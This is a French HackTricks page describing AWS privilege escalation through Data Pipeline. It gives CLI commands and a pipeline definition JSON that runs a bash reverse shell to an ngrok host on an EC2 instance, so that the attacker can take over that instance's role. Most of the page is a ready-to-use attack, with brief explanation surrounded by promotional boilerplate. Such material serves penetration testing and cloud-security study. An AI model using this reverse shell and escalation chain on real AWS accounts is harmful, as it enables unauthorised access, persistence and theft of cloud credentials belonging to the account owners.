AWS - Datapipeline Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

datapipeline

Pour plus d'informations sur datapipeline, consultez :

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Les utilisateurs avec ces autorisations peuvent élever leurs privilèges en créant un Data Pipeline pour exécuter des commandes arbitraires en utilisant les autorisations du rôle attribué :

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources :

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Notez que le rôle dans les lignes 14, 15 et 27 doit être un rôle pouvant être assumé par datapipeline.amazonaws.com et le rôle dans la ligne 28 doit être un rôle pouvant être assumé par ec2.amazonaws.com avec un profil d'instance EC2.

De plus, l'instance EC2 n'aura accès qu'au rôle pouvant être assumé par l'instance EC2 (vous ne pourrez voler que celui-ci).

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` Le **fichier de définition du pipeline, créé par l'attaquant, inclut des directives pour exécuter des commandes** ou créer des ressources via l'API AWS, exploitant les autorisations de rôle de Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.

Impact potentiel : Élévation directe des privilèges vers le rôle de service ec2 spécifié.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour